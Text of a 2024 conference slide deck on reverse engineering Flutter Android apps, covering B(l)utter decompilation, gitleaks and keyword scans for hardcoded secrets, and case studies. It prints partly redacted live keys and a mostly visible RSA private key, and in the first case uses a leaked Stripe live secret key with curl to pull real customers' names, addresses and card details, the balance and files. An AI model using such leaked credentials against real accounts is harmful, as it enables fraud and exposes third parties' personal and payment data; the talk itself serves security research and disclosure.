

COMMSEC 2024

Vulnerabilities in Flutter Mobile Apps Through Reverse Engineering

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WHOAMI



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
Interested in Mobile Application Security, Reverse Engineering, Bug Bounty, Vulnerability Disclosure Program.



eMAPT, CC



BEng Computer Engineering, Thammasat University



Senior Project - Automate Android Environment Setup for Penetration Testing

Agenda

- Goal of this Talk
- Flutter Introduction
- Research Process and Results
- Types of Sensitive Data
- Case Examples
- Conclusion

GOAL OF

THIS TALK

Goal of This Talk

What will you receive?

- Reverse Engineering Techniques
- Identification of Common Sensitive Data
- Real-World Case Examples




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Flutter Introduction

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Flutter

Introduction

Flutter is an open-source UI framework developed by Google for building natively compiled mobile, web, and desktop applications from a single codebase.

Advantages

- Cross-Platform Functionality
- High Performance
- Powerful Design Capabilities
- Time Efficiency
- Lower Development Costs



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Research Process and Results

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Process Overview

Gather
Apps

Inspect


Reverse
Engineer

Scan

Analyse





B(L)UTTER



TESTER

Gather Applications

- Python script with Selenium was used to bulk download applications from APKCombo.com website.




Inspect

- Bash script was used to verify whether the applications were built with Flutter.

```
1 #!/bin/bash
2
3 if [ -z "$1" ]; then
4     echo "Usage: $0 <apk_directory>"
5     exit 1
6 fi
7
8 if [ ! -d "$1" ]; then
9     echo "Error: $1 is not a directory"
10    exit 1
11 fi
12
13 total_files=0
14 flutter_found=0
15 apk_names_with_flutter=()
16
17 for apk_file in "$1"/*.apk; do
18     if [ -f "$apk_file" ]; then
19         echo "Checking $apk_file ..."
20
21         temp_dir=$(mktemp -d)
22
23         unzip "$apk_file" -d "$temp_dir"
24
25         lib_dir="$temp_dir/lib/arm64-v8a"
26         if [ -d "$lib_dir" ]; then
27             cd "$lib_dir" || exit 1
28
29             # Check if libflutter.so exists
30             if [ -f "libflutter.so" ]; then
31                 echo "libflutter.so found in $apk_file"
32                 ((flutter_found++))
33                 apk_names_with_flutter+=("${(basename "$apk_file")}")
34

```



Inspect

- Example output generated by executing the Bash script.

```
Summary:
Total APK files checked: 46
APK files with libflutter.so: 24
APK names with libflutter.so:
- ABC Shop_6.98.2_apkcombo.com.apk
- Abu ccombo.com.apk
- Arr bo.com.apk
- Bus n.apk
- DCT bo.com.apk
- Dub 12_apkcombo.com.apk
- Hop 0_apkcombo.com.apk
- MOE o.com.apk
- Mer o.com.apk
- Met .17.0_apkcombo.com.apk
- Mor o.com.apk
- SNC utes_20240708.0.0_apkcombo.com.apk
- SSE o.com.apk
- Sac apkcombo.com.apk
- Sup o.com.apk
- Tee o.com.apk
- The o.com.apk
- Top o.com.apk
- Tri .16.12_apkcombo.com.apk
- UTA ccombo.com.apk
- Via .17.0_apkcombo.com.apk
- WeC 9_apkcombo.com.apk
- WeC 3.3.1_apkcombo.com.apk
- spi om.apk
```

Reverse Engineer

- **B(l)utter** was used to reverse engineer each Flutter application.
- Bash script was used to automate the process.

```
cd ~/Desktop/blutter || exit 1
```

```
output_dir=~/Desktop/blutter_output  
mkdir -p "$output_dir"  
outdir="$output_dir/blutter_$apk_file"  
mkdir -p "$outdir"
```

```
python blutter.py "$lib_dir" "$outdir" --rebuild
```

```
libflutter.so found in /home/kali/Desktop/apk/SNC[REDACTED].apkcombo.com.apk  
Dart version: 3.3.1, Snapshot: ee1eb666c76a5cb7746faf39d0b97547, Target: android arm64  
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no-tsan no-asse  
rts arm64 android compressed-pointers null-safety  
Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.3.1' ...  
remote: Enumerating objects: 2385, done.  
remote: Counting objects: 100% (2385/2385), done.  
remote: Compressing objects: 100% (1935/1935), done.  
remote: Total 2385 (delta 49), reused 1425 (delta 40), pack-reused 0 (from 0)  
Receiving objects: 100% (2385/2385), 1.35 MiB | 4.28 MiB/s, done.  
Resolving deltas: 100% (49/49), done.  
remote: Enumerating objects: 23, done.  
remote: Counting objects: 100% (23/23), done.  
remote: Compressing objects: 100% (22/22), done.  
remote: Total 23 (delta 0), reused 6 (delta 0), pack-reused 0 (from 0)  
Receiving objects: 100% (23/23), 137.20 KiB | 1.44 MiB/s, done.  
Updating files: 100% (23/23), done.  
remote: Enumerating objects: 2867, done.  
remote: Counting objects: 100% (2867/2867), done.  
remote: Compressing objects: 100% (2394/2394), done.  
remote: Total 2867 (delta 548), reused 1222 (delta 432), pack-reused 0 (from 0)  
Receiving objects: 100% (2867/2867), 8.48 MiB | 8.19 MiB/s, done.  
Resolving deltas: 100% (548/548), done.  
Updating files: 100% (3233/3233), done.  
-- Configuring done (1.2s)  
-- Generating done (0.0s)  
-- Build files have been written to: /home/kali/Desktop/blutter/build/dartvm3.3.1_android_arm64  
[263/263] Linking CXX static library libdartvm3.3.1_android_arm64.a  
-- Install configuration: "Release"  
-- Installing: /home/kali/Desktop/blutter/dartsdk/v3.3.1/../../packages/lib/libdartvm3.3.1_android_arm64.a  
-- Installing: /home/kali/Desktop/blutter/dartsdk/v3.3.1/../../packages/include/dartvm3.3.1
```

What is B(l)utter ?






- A Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime.
- Directly analyzes the libapp.so to extract Dart objects directly from binary and generates Frida scripts to dump data in a running Flutter application.
- Github:
<https://github.com/worawit/blutter>

```
(kali@kali)-[~/Desktop/blutter]
└─$ python blutter.py -h
usage: B(l)utter [-h] [--rebuild] [--vs-sln] [--no-analysis] [--dart-version DART_VERSION]
               indir outdir

Reversing a flutter application tool

positional arguments:
  indir                A directory directory that contains both libapp.so and libflutter.so
  outdir               An output directory

options:
  -h, --help          show this help message and exit
  --rebuild           Force rebuild the Blutter executable
  --vs-sln            Generate Visual Studio solution at <outdir>
  --no-analysis       Do not build with code analysis
  --dart-version DART_VERSION
                    Run without libflutter (indir become libapp.so) by specify dart version
                    such as "3.4.2_android_arm64"
```

Name	Size	Type	Date Modified
 ida_script	4.0 KiB	Folder	06/21/24
 asm	4.0 KiB	Folder	06/21/24
 pp.txt	2.0 MiB	Plain text document	06/21/24
 objs.txt	849.3 KiB	Plain text document	06/21/24
 blutter_frida.js	399.3 KiB	JavaScript program	06/21/24

Scan⁽¹⁾

- Gitleaks was used to scan the pp.txt file of each application.
- A Bash script was used to automate the process.

```
if [ "$(basename "$file")" = "pp.txt" ]; then
    echo "pp.txt found in $folder"
    ((pp_txt_found++))
    file_names_with_pp_txt+=("$folder")

    xyz=$(basename "$folder" | sed 's/blutter_//')

    gitleaks detect -s "$folder/pp.txt" --no-git --verbose -r "gitleaks_${xyz}.json"
    echo "Gitleaks command executed for $folder"
```

```
gitleaks

Finding:    ... p+0x17aa0] String: "AIzaSyDsE_d66AVYVT7 [REDACTED]"
Secret:     AIzaSyDsE_d66AVYVT7 [REDACTED]
RuleID:     gcp-api-key
Entropy:    4.631305
File:       /home/kali/Desktop/blutter_apk/Wed [REDACTED]_3.3.1_apkcombo.com.apk/pp.txt
Line:       18356
Fingerprint: /home/kali/Desktop/blutter_apk/Wed [REDACTED]_3.3.1_apkcombo.com.apk/pp.txt:
gcp-api-key:18356

11:50AM INF scan completed in 3.83s
11:50AM WRN leaks found: 1
Gitleaks command executed for /home/kali/Desktop/blutter_apk/Wed [REDACTED]_3.3.1_apkcomb
o.com.apk
```


Scan(2)

- A Bash script was created to search for keywords within the pp.txt file of each application.

```
search_words=("firebase" "cloud" "gcloud" "key" "API" "todo" "secret" "token" "password" "vulnerable" "http://" "https://" "CSRF" "random" "hash" "MD5" "SHA-1" "SHA-2" "HMAC")

for word in "${search_words[@]}; do
    echo "Lines containing '$word' in $filename (excluding lines with 'keyboard'):" >> "$output_file"
    grep -i "$word" "$filename" | grep -iv "keyboard" >> "$output_file"
    echo >> "$output_file"
done

echo "Output saved to $output_file"
```

```
1 Lines containing 'firebase' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
2
3 Lines containing 'cloud' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
4
5 Lines containing 'gcloud' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
6
7 Lines containing 'key' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
8 [pp+0x6c0] String: "key"
9 [pp+0x2900] String: "filterKey"
10 [pp+0x2910] String: "key"
11 [pp+0x2c50] String: "key"
12 [pp+0x2c80] String: "key"
13 [pp+0x2c88] String: "Key not in map."
14 [pp+0x32b8] Type: GlobalKey<State<StatefulWidget>>
15 [pp+0x3408] Type: GlobalKey<State<StatefulWidget>>
16 [pp+0x3420] String: "key"
17 [pp+0x3648] TypeArguments: <GlobalKey<State<StatefulWidget>>, Element>
```

Analyse


- The results from the scan phase were used to analyze the ASM folder and the pp.txt file.

```
gitleaks

Finding:    ... p+0x17aa0] String: "AIzaSyDsE_d66AVYVT7 [REDACTED]"
Secret:    AIzaSyDsE_d66AVYVT7 [REDACTED]
RuleID:    gcp-api-key
Entropy:    4.631305
File:      /home/kali/Desktop/blutter_apk/Wed [REDACTED]_3.3.1_apkcombo.com.apk/pp.txt
Line:      18356
Fingerprint: /home/kali/Desktop/blutter_apk/Wed [REDACTED]_3.3.1_apkcombo.com.apk/pp.txt:
gcp-api-key:18356


11:50AM INF scan completed in 3.83s
11:50AM WRN leaks found: 1
Gitleaks command executed for /home/kali/Desktop/blutter_apk/Wed [REDACTED]_3.3.1_apkcomb
o.com.apk
```

```
1 Lines containing 'firebase' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
2
3 Lines containing 'cloud' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
4
5 Lines containing 'gcloud' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
6
7 Lines containing 'key' in /home/kali/Desktop/blutter_apk/WeG [REDACTED] apkcombo.com.apk/pp.txt
8 [pp+0x6c0] String: "key"
9 [pp+0x2900] String: "filterKey"
10 [pp+0x2910] String: "key"
11 [pp+0x2c50] String: "key"
12 [pp+0x2c80] String: "key"
13 [pp+0x2c88] String: "Key not in map."
14 [pp+0x32b8] Type: GlobalKey<State<StatefulWidget>>
15 [pp+0x3408] Type: GlobalKey<State<StatefulWidget>>
16 [pp+0x3420] String: "key"
17 [pp+0x3648] TypeArguments: <GlobalKey<State<StatefulWidget>>, Element>
```




Results

Amount of Flutter
Applications gathered.



Results

Hardcoded credentials
within Flutter applications.





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Types of Sensitive Data

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Password

- Passwords that are inserted directly into software application's source code are referred to as hardcoded or embedded passwords.

```
22594 // 0x70d4a8: cmp      SP, x16
22595 // 0x70d4ac: b.ls     #0x70d514
22596 // 0x70d4b0: r1 = "pressy"
22597 // 0x70d4b0: add     x1, PP, #0x25, lsl #12 ; [pp+0x25978] "pressy"
22598 // 0x70d4b4: ldr     x1, [x1, #0x978]
22599 // 0x70d4b8: r0 = print()
22600 // 0x70d4b8: bl      #0x3b2e00 ; [dart:core] ::print
```

```
322 // 0x13f9f78: ldur   x16, [fp, #-0x28]
323 // 0x13f9f7c: stp    x0, x16, [SP, #8]
324 // 0x13f9f80: r16 = "dartdart"
325 // 0x13f9f80: add     x16, PP, #0x40, lsl #12 ; [pp+0x40bc8] "dartdart"
326 // 0x13f9f84: ldr     x16, [x16, #0xbc8]
327 // 0x13f9f88: str     x16, [SP]
```

API Key

- Requests connected to a project can be authenticated using the API key, which is a special identification.
- Some developers may choose to leave it on public shares or hardcode them.

Stripe Secret Key

```
22169 // 0x6ff6fc: r17 = "Authorization"
22170 // 0x6ff6fc: add x17, PP, #0x25, lsl #12 ; [pp+0x25938] "Authorization"
22171 // 0x6ff700: ldr x17, [x17, #0x938]
22172 // 0x6ff704: StoreField: r0->field_f = r17
22173 // 0x6ff704: stur w17, [x0, #0xf]
22174 // 0x6ff708: r17 = "Bearer sk_live_5104oeNIsoTAhaYT9nzIuWdmcRCKRxT8e1S2EIbMv[REDACTED]"
22175 // 0x6ff708: add x17, PP, #0x25, lsl #12 ; [pp+0x25940] "Bearer sk_live_5104oeNIsoTAhaYT9nzIuWdmcRCKRxT8e1S2EIbMv[REDACTED]"
22176 // 0x6ff70c: ldr x17, [x17, #0x940]
22177 // 0x6ff710: StoreField: r0->field_13 = r17
22178 // 0x6ff710: stur w17, [x0, #0x13]
```

Twitter API Key and Secret

```
1037 // 0x2dc4f38: bl #0x31d434c ; AllocateArrayStub
1038 // 0x2dc4f3c: r17 = "consumerKey"
1039 // 0x2dc4f3c: add x17, PP, #0x55, lsl #12 ; [pp+0x55f30] "consumerKey"
1040 // 0x2dc4f40: ldr x17, [x17, #0xf38]
1041 // 0x2dc4f44: StoreField: r0->field_f = r17
1042 // 0x2dc4f44: stur w17, [x0, #0xf]
1043 // 0x2dc4f48: r17 = "MBNegFqBUC74[REDACTED]"
1044 // 0x2dc4f48: add x17, PP, #0x55, lsl #12 ; [pp+0x55f38] "MBNegFqBUC74[REDACTED]"
1045 // 0x2dc4f4c: ldr x17, [x17, #0xf38]
1046 // 0x2dc4f50: StoreField: r0->field_13 = r17
1047 // 0x2dc4f50: stur w17, [x0, #0x13]
1048 // 0x2dc4f54: r17 = "consumerSecret"
1049 // 0x2dc4f54: add x17, PP, #0x55, lsl #12 ; [pp+0x55f40] "consumerSecret"
1050 // 0x2dc4f58: ldr x17, [x17, #0xf40]
1051 // 0x2dc4f5c: StoreField: r0->field_17 = r17
1052 // 0x2dc4f5c: stur w17, [x0, #0x17]
1053 // 0x2dc4f60: r17 = "trLoCar9knzGcfM6EddQ07bs[REDACTED]"
1054 // 0x2dc4f60: add x17, PP, #0x55, lsl #12 ; [pp+0x55f48] "trLoCar9knzGcfM6EddQ07bs[REDACTED]"
1055 // 0x2dc4f64: ldr x17, [x17, #0xf48]
```

Private Key

- A cryptographic variable called a private key is used to encrypt and decrypt data along with an algorithm.
- Only those who are allowed to decrypt the material or the key generator should have access to private keys.

```
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgGFaIOYhPbid2muHYL2CBmNNZVpEtftAo0UYpNbk5Y50XpUxnE94
YUuTalc1e5dlYf86X4jq7MeJ4Y7Ljs+mdJ+bWgteQmEg/by2zUWuS+20WtJcU2SJ
oEjzJxv70s/Or2A5boLEaedkC0ghi5XDTlImtEU62DKB1xN8ubMz0s3DAgMBAEC
gYAsCa [REDACTED] kh8GoCzu
SXBREk [REDACTED] LQzInvzS
igOiVV [REDACTED] +IM7Jj2v
PIxBP6 [REDACTED] nrRoWrGH
9Q27EC [REDACTED] /zQHvpzM
kQZqBu [REDACTED] kZVsJCql
1Rm4g7 [REDACTED] AkB5/YYq
j/Vnbr [REDACTED] eIyRv++a
vyFdLIdG8PVJFK1XAKAKVPRMJJIJQVLlg7HoE3CTyKxpc4WbZIXU2GUalczELEG4
Sy5pzvF4JDiBejWDDfLKfrwXFmqpEb7z+1oYMNOE
-----END RSA PRIVATE KEY-----
```

```
243 // 0x138ad80: bl #0x138ae80 ; [dart:io] _SecurityContext::useCertificateChainBytes
244 // 0x138ad84: r1 = Instance_AsciiCodec
245 // 0x138ad84: add x1, PP, #9, lsl #12 ; [pp+0x9088] Obj!AsciiCodec@22f57f1
246 // 0x138ad88: ldr x1, [x1, #0x88]
247 // 0x138ad8c: r2 = "-----BEGIN ENCRYPTED PRIVATE KEY-----\nMIIE4zAcBgoqhkiG9w0BDAEBMA4ECBMCjlg8JYZ4AgIIAASCBMfd9cBoZ5xcToc
248 // 0x138ad8c: add x2, PP, #0x41, lsl #12 ; [pp+0x41670] "-----BEGIN ENCRYPTED PRIVATE KEY-----\nMIIE4zAcB
249 // 0x138ad90: ldr x2, [x2, #0x670]
250 // 0x138ad94: r0 = encode()
251 // 0x138ad94: bl #0x21b3c90 ; [dart:convert] AsciiCodec::encode
252 // 0x138ad98: ldur x16, [fp, #-0x28]
253 // 0x138ad9c: stp x0, x16, [SP, #8]
```


Access Token

- Access tokens grant users access to a website, application, or API and are utilized in token-based authentication.
- The token acts as the user's entry ticket, so once their identity has been verified, they won't need to enter their credentials again for the duration of the token.

AWS Access token

```
16 // 0x1066a9c: b.ls #0x1066ac0
17 // 0x1066aa0: r1 = Instance_Utf8Encoder
18 // 0x1066aa0: ldr x1, [PP, #0x6a30] ; [pp+0x6a30] Obj!Utf8Encoder@22f5931
19 // 0x1066aa4: r2 = "AKIA5JVAT5 [REDACTED]"
20 // 0x1066aa4: add x2, PP, #0xb, lsl #12 ; [pp+0xb808] "AKIA5JVAT5 [REDACTED]"
21 // 0x1066aa8: ldr x2, [x2, #0x808]
22 // 0x1066aac: r4 = const [0, 0x2, 0, 0x2, null]
23 // 0x1066aac: ldr x4, [PP, #0x130] ; [pp+0x130] List(5) [0, 0x2, 0, 0x2, Null]
24 // 0x1066ab0: r0 = convert()
```

JWT

```
20 // ** addr: 0x115b560, size: 0xc
21 // 0x115b560: r0 = "eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxNjYzNDUyNTA4fC18 [REDACTED]"
22 // 0x115b560: add x0, PP, #0x18, lsl #12 ; [pp+0x18140] "eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxNjYzNDUyNTA4fC18Y"
23 // 0x115b564: ldr x0, [x0, #0x140]
24 // 0x115b568: ret
25 // 0x115b568: ret
26 }
```

API Endpoint

- When an application programming interface (API) is visible to ecosystems outside of its immediate environment, it's known as API exposure.

```
228 // 0x6e035c: bl          #0x8e40a8 ; AllocateArrayStub
229 // 0x6e0360: mov          x2, x0
230 // 0x6e0364: r17 = "https://api-restricted. [REDACTED] /oauth/authorize?client_id=food m
231 // 0x6e0364: add          x17, PP, #0x33, lsl #12 ; [pp+0x33138] "https://api-restricted. [REDACTED]
232 // 0x6e0368: ldr          x17, [x17, #0x138]
233 // 0x6e036c: StoreField: r2->field_f = r17
234 // 0x6e036c: stur         w17, [x2, #0xf]
```

```
251 // 0x6e03a8: b.eq         #0x6e03b0
252 // 0x6e03ac: bl          #0x8e287c
253 // 0x6e03b0: r17 = ".FEURLhttps://food-matrix. [REDACTED]"
254 // 0x6e03b0: add          x17, PP, #0x33, lsl #12 ; [pp+0x33140] ".FEURLhttps://food-matrix. [REDACTED]
255 // 0x6e03b4: ldr          x17, [x17, #0x140]
256 // 0x6e03b8: StoreField: r2->field_17 = r17
257 // 0x6e03b8: stur         w17, [x2, #0x17]
258 // 0x6e03bc: SaveReg r2
```

```
1632 // 0xe808e0: cmp          w0, w16
1633 // 0xe808e4: b.ne         #0xe808f4
1634 // 0xe808e8: r0 = "https://ssoweb [REDACTED] /SSO/ClientToken"
1635 // 0xe808e8: add          x0, PP, #0x44, lsl #12 ; [pp+0x441e8] "https://ssoweb [REDACTED] /SSO/
1636 // 0xe808ec: ldr          x0, [x0, #0x1e8]
1637 // 0xe808f0: b            #0xe808fc
1638 // 0xe808f4: r0 = "https://ssoweb [REDACTED] /SSO/ClientToken"
1639 // 0xe808f4: add          x0, PP, #0x44, lsl #12 ; [pp+0x441f0] "https://ssoweb [REDACTED] /SSO/Cl
1640 // 0xe808f8: ldr          x0, [x0, #0x1f0]
1641 // 0xe808fc: ldur         x4, [fp, #-0x88]
```



COMSEC

Case Examples

Hack In The Box Security Conference 2024 - Bangkok



Application # 1

- This application is used to manage various aspects of a user's gaming account, such as viewing friends' activities, checking trophies and sending messages.
- Reverse engineer the application with B(l)utter.

```
(kali@kali) - [~/Desktop/blutter]
└─$ python blutter.py '/home/kali/Desktop/Application_1/lib/arm64-v8a' '/home/kali/Desktop/Blutter_Application_1'
Dart version: 3.4.3, Snapshot: d20a1be77c3d3c41b2a5accaee1ce549, Target: android arm64
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no-tsan no-asserts arm64 android compressed-pointers null-safety
Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.4.3' ...
remote: Enumerating objects: 2435, done.
remote: Counting objects: 100% (2435/2435), done.
remote: Compressing objects: 100% (1961/1961), done.
remote: Total 2435 (delta 51), reused 1432 (delta 44), pack-reused 0
Receiving objects: 100% (2435/2435), 1.36 MiB | 14.67 MiB/s, done.
Resolving deltas: 100% (51/51), done.
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 24 (delta 0), reused 6 (delta 0), pack-reused 0
Receiving objects: 100% (24/24), 143.03 KiB | 1.39 MiB/s, done.
Updating files: 100% (24/24), done.
remote: Enumerating objects: 2850, done.
remote: Counting objects: 100% (2850/2850), done.
remote: Compressing objects: 100% (2380/2380), done.
remote: Total 2850 (delta 536), reused 1190 (delta 429), pack-reused 0
Receiving objects: 100% (2850/2850), 8.50 MiB | 6.50 MiB/s, done.
Resolving deltas: 100% (536/536), done.
Updating files: 100% (3216/3216), done.
```

Name	Size	Type	Date Modified
ida_script	4.0 KiB	Folder	06/21/24
asm	4.0 KiB	Folder	06/21/24
pp.txt	2.0 MiB	Plain text document	06/21/24
objs.txt	849.3 KiB	Plain text document	06/21/24
blutter_frida.js	399.3 KiB	JavaScript program	06/21/24

python3 blutter.py path/to/app/lib/arm64-v8a out_dir

Application # 1

- Gitleaks was used to scan pp.txt file for hardcoded credentials.

```
(kali@kali)-[~/Desktop]
└─$ gitleaks detect -s '/home/kali/Desktop/Blutter_Application_1/pp.txt' --no-git --verbose -r gitleaks_Application_1.json

gitleaks

Finding:    ... pp+0x6d00] String: "pk_live_5104oeNIsoTAhaYT9Pdnqrc1ojvb [REDACTED] ..."
Secret:     pk_live_5104oeNIsoTAhaYT9Pdnqrc1ojvb [REDACTED]
RuleID:     stripe-access-token
Entropy:    4.871928
File:       /home/kali/Desktop/Blutter_Application_1/pp.txt
Line:       5280
Fingerprint: /home/kali/Desktop/Blutter_Application_1/pp.txt:stripe-access-token:5280

Finding:    ... 40] String: "Bearer sk_live_5104oeNIsoTAhaYT9nzIuWdmcRCK [REDACTED] ..."
Secret:     sk_live_5104oeNIsoTAhaYT9nzIuWdmcRCK [REDACTED]
RuleID:     stripe-access-token
Entropy:    4.903056
File:       /home/kali/Desktop/Blutter_Application_1/pp.txt
Line:       31618
Fingerprint: /home/kali/Desktop/Blutter_Application_1/pp.txt:stripe-access-token:31618

11:57AM INF scan completed in 3.54s
11:57AM WRN leaks found: 2
```

gitleaks detect -s path/to/
source -no-git -verbose -r
filename.json

Application # 1

- Stripe offers comprehensive suites of APIs for managing a wide range of payment-related tasks.
- API keys carry many privileges and must be kept secure.
- Secret API keys should not be shared in publicly accessible areas (e.g., GitHub, client-side code).



AUTHENTICATED REQUEST

cURL



```
1 curl https://api.stripe.com/v1/charges \  
2   -u sk_test_0QcpU1z...9500o3nNRTS0 :  
3 # The colon prevents curl from asking for a password.
```

Application # 1

- Curl command was used to query charges from the Stripe account.

```
C:\Users\Datafarm>curl https://api.stripe.com/v1/charges -u sk_live_5104oeNIsoTAhaYT9nzIuWdmcRCKRxT8e1S2EiBmVtE79qfM6sJlwIsLLxLf [REDACTED]:
{
  "object": "list",
  "data": [
    {
      "id": "ch_3Ppp6DIsoT [REDACTED]",
      "object": "charge",
      "amount": 500,
      "amount_captured": 500,
      "amount_refunded": 0,
      "application": null,
      "application_fee": null,
      "application_fee_amount": null,
      "balance_transaction": "txn_3Ppp6DIsoTA [REDACTED]",
      "billing_details": {
        "address": {
          "city": "Clifton Beach ",
          "country": "AU",
          "line1": "55-57 Clif [REDACTED]",
          "line2": null,
          "postal_code": "4879",
          "state": "QLD"
        },
        "email": null,
        "name": "Blake [REDACTED]auley ",
        "phone": null
      }
    }
  ]
}
```

```
"payment_method_details": {
  "card": {
    "amount_authorized": 500,
    "authorization_code": "101550",
    "brand": "mastercard",
    "checks": {
      "address_line1_check": "unavailable",
      "address_postal_code_check": "unavailable",
      "cvc_check": null
    },
    "country": "AU",
    "exp_month": 8,
    "exp_year": 2027,
    "extended_authorization": {
      "status": "disabled"
    },
    "fingerprint": "rAsnnan [REDACTED]",
    "funding": "debit",
    "incremental_authorization": {
      "status": "unavailable"
    },
    "installments": null,
    "last4": "9724",
    "mandate": null,
    "multicapture": {
      "status": "unavailable"
    },
    "network": "mastercard",
  }
}
```

curl https://api.stripe.com/v1/charges -u sk_live_<Secret-Key>

Application # 1

- Current balance was retrieved from the Stripe account.

```
C:\Users\Datafarm>curl https://api.stripe.com/v1/balance -u sk_live_5104oeNI50TAhaYT9nzIuWdmcRCKRxT8e1S2EIbM
VtE79qfM6sJlwIsLLxLf [REDACTED]:
{
  "object": "balance",
  "available": [
    {
      "amount": 0,
      "currency": "usd",
      "source_types": {
        "card": 0
      }
    }
  ],
  "livemode": true,
  "pending": [
    {
      "amount": 3112,
      "currency": "usd",
      "source_types": {
        "card": 3112
      }
    }
  ]
}
```

curl https://api.stripe.com/v1/balance -u sk_live_<Secret-Key>

Application # 1

- Retrieved files that was uploaded by the admin of the Stripe account.

```
C:\Users\Datafarm>curl https://api.stripe.com/v1/files -u sk_live_5104oeNIsoTAhaYT9nzIuWdmcRCKRxT8e1S2EIBMVtE79qfM6sJlwIsLLxLf [REDACTED]:
{
  "object": "list",
  "data": [
    {
      "id": "file_10crmVIsOT [REDACTED]",
      "object": "file",
      "created": 1706284647,
      "expires_at": null,
      "filename": "[REDACTED]",
      "links": {
        "object": "list",
        "data": [
          {
            "id": "link_10crmWIsOT [REDACTED]",
            "object": "file_link",
            "created": 1706284648,
            "expired": false,
            "expires_at": null,
            "file": "file_10crmVIsOT [REDACTED]",
            "livemode": true,
            "metadata": {},
            "url": "https://files.stripe.com/links/MDb8YWNjdF8xTzRvZU5Jc09UQWVhWVQ5fGZsX2xpdmVfY1A4c1hLcFk4O [REDACTED]"
          }
        ]
      }
    }
  ]
}
```

curl https://api.stripe.com/v1/files -u sk_live_<Secret-Key>:

Application # 2

- This app is designed specifically for football players and coaches to enhance their experience and performance.
- Reverse engineer the application with B(l)utter.

```
(kali@kali)-[~/Desktop/blutter]
└─$ python blutter.py '/home/kali/Desktop/Application_2/lib/arm64-v8a' '/home/kali/Desktop/Blutter_Application_2'
Dart version: 3.3.0, Snapshot: ee1eb666c76a5cb7746faf39d0b97547, Target: android arm64
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no
-tsan no-asserts arm64 android compressed-pointers null-safety
Cloning into '/home/kali/Desktop/blutter/dartsdk/v3.3.0' ...
remote: Enumerating objects: 2385, done.
remote: Counting objects: 100% (2385/2385), done.
remote: Compressing objects: 100% (1935/1935), done.
remote: Total 2385 (delta 49), reused 1426 (delta 40), pack-reused 0
Receiving objects: 100% (2385/2385), 1.35 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (49/49), done.
remote: Enumerating objects: 23, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 23 (delta 0), reused 6 (delta 0), pack-reused 0
Receiving objects: 100% (23/23), 137.08 KiB | 1.46 MiB/s, done.
Updating files: 100% (23/23), done.
remote: Enumerating objects: 2867, done.
remote: Counting objects: 100% (2867/2867), done.
remote: Compressing objects: 100% (2394/2394), done.
remote: Total 2867 (delta 548), reused 1220 (delta 432), pack-reused 0
Receiving objects: 100% (2867/2867), 8.48 MiB | 7.80 MiB/s, done.
Resolving deltas: 100% (548/548), done.
Updating files: 100% (3233/3233), done.
-- Configuring done (2.0s)
-- Generating done (0.1s)
```

Name	Size	Type	Date Modified
ida_script	4.0 KiB	Folder	06/21/24
asm	4.0 KiB	Folder	06/21/24
pp.txt	2.0 MiB	Plain text document	06/21/24
objs.txt	849.3 KiB	Plain text document	06/21/24
blutter_frida.js	399.3 KiB	JavaScript program	06/21/24

Application # 2

- Gitleaks was used to scan pp.txt file for hardcoded credentials and found a private key header.

```
(kali@kali)-[~/Desktop]
└─$ gitleaks detect -s '/home/kali/Desktop/Blutter_Application_2/pp.txt' --no-git --verbose -r gitleaks_Application_2.json

  o
  |
  o
  |
  █ gitleaks

Finding:    ... p+0x195f0] String: "[REDACTED]"
Secret:     [REDACTED]
RuleID:     gcp-api-key
Entropy:    4.855790
File:       /home/kali/Desktop/Blutter_Application_2/pp.txt
Line:       20081
Fingerprint: /home/kali/Desktop/Blutter_Application_2/pp.txt:gcp-api-key:20081

Finding:    ... p+0x1d060] String: "-----BEGIN RSA PRIVATE KEY-----"
[pp+0x1d068] String: "-----BEGIN PRIVATE KEY-----"
Secret:     -----BEGIN RSA PRIVATE KEY-----
[pp+0x1d068] String: "-----BEGIN PRIVATE KEY-----"
RuleID:     private-key
Entropy:    4.396867
File:       /home/kali/Desktop/Blutter_Application_2/pp.txt
Line:       22900
Fingerprint: /home/kali/Desktop/Blutter_Application_2/pp.txt:private-key:22900

6:53AM INF scan completed in 3.16s
6:53AM WRN leaks found: 2
```

Application # 2

- ripgrep is a command line tool that searches files for patterns that was given.
- Search for assembly files that contains **“private”**

“
rg '<pattern>'
”

```
(kali@kali)-[~/Desktop/Blutter_Application_2/asm]
└─$ rg "private"
flutter_webview_plugin/src/base.dart
1242: // 0x83fcf0: r0 = FlutterWebviewPlugin.private()
1243: // 0x83fcf0: bl #0x83fd18 ; [package:flutter_webview_plugin/src/base.dar
t] FlutterWebviewPlugin::FlutterWebviewPlugin.private
1258: _ FlutterWebviewPlugin.private(/* No info */) {

pointycastle/asymmetric/pkcs1.dart
343: // 0x59e390: r17 = "Unsupported block type for private key: "
344: // 0x59e390: add x17, PP, #0x11, lsl #12 ; [pp+0x11d20] "Unsupported block
type for private key: "

encrypt/encrypt.dart
1469: get _privateKeyParams(/* No info */) {
1661: // 0x67bfc8: r0 = _privateKeyParams()
1662: // 0x67bfc8: bl #0x67c020 ; [package:encrypt/encrypt.dart] AbstractRSA::
_privateKeyParams

services/encrypt_service.dart
